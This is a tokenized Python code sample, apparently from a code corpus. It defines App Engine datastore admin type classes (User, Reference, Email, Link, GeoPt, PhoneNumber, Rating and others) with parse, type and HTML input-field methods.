"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "float_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Float", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "float_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "User", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "User", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "User", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "users_", "._", "User_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "users_", "._", "User_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "User", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "15_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Key", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "short", "\\u", "format_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "str_", "(_", "value_", ")_", "[_", ":_", "8_", "]_", "+_", "'...'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Key_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field_", "(_", "self_", ",_", "name_", ",_", "value_", ",_", "sample", "\\u", "values_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "value_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "value_", "=_", "self_", "._", "format_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "string", "\\u", "value_", "=_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "html_", "=_", "'<", "input", " ", "class", "=\"", "%", "s", "\"", " ", "name", "=\"", "%", "s", "\"", " ", "type", "=\"", "text", "\"", " ", "size", "=\"", "%", "d", "\"", " ", "value", "=\"", "%", "s", "\"/>'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "self_", "._", "name_", "(_", ")_", ")_", ",_", "cgi_", "._", "escape_", "(_", "name_", ")_", ",_", "self_", "._", "input", "\\u", "field", "\\u", "size_", "(_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cgi_", "._", "escape_", "(_", "string", "\\u", "value_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "html_", "+=_", "'<", "br", "><", "a", " ", "href", "=\"", "?", "key", "=", "%", "s", "\">", "%", "s", "</", "a", ">'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "string", "\\u", "value_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cgi_", "._", "escape_", "(_", "Pse", "udo", "Bre", "adc", "rum", "bs_", "(_", "value_", ")_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "html_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "input", "\\u", "field", "\\u", "size_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "85_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Reference", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "addition", "al", "\\u", "short", "\\u", "value", "\\u", "html_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "value_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "'<", "br", "><", "a", " ", "href", "=\".", "/", "datast", "ore", "/", "edit", "?", "key", "=", "%", "s", "\">", "%", "s", "</", "a", ">'_", "%_", "(_", "cgi_", "._", "escape_", "(_", "str_", "(_", "value_", ")_", ",_", "True_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "cgi_", "._", "escape_", "(_", "Pse", "udo", "Bre", "adc", "rum", "bs_", "(_", "value_", ")_", ",_", "True_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Ema", "il", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Ema", "il", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Ema", "il", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ema", "il", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Email_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ema", "il", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Email_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Cate", "gory", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Cate", "gory", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Cate", "gory", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cate", "gory", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Category_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Cate", "gory", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Category_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Link", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Link", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Link", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Link", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Link_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Link", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Link_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Geo", "Pt", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Geo", "Pt", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Geo", "Pt", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Geo", "Pt", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Geo", "Pt_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Geo", "Pt", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Geo", "Pt_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Im", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Im", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "IM", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Im", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "IM", "_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Im", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "IM", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Phone", "Number", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Phone", "Number", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Phone", "Number", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Phone", "Number", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Phone", "Number_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Phone", "Number", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Phone", "Number_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Post", "al", "Address", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Post", "al", "Address", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Post", "al", "Address", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "al", "Address", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Post", "al", "Address_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Post", "al", "Address", "Type_", "(_", "String", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Post", "al", "Address_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Rati", "ng", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Rati", "ng", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Rati", "ng", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rati", "ng", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Rating_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Rati", "ng", "Type_", "(_", "Number", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "datast", "ore", "\\u", "types_", "._", "Rating_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Non", "e", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Non", "e", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "name_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'", "Non", "e", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Non", "e", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "parse_", "(_", "self_", ",_", "value_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Non", "e", "Type_", "(_", "Data", "Type_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "python", "\\u", "type_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", 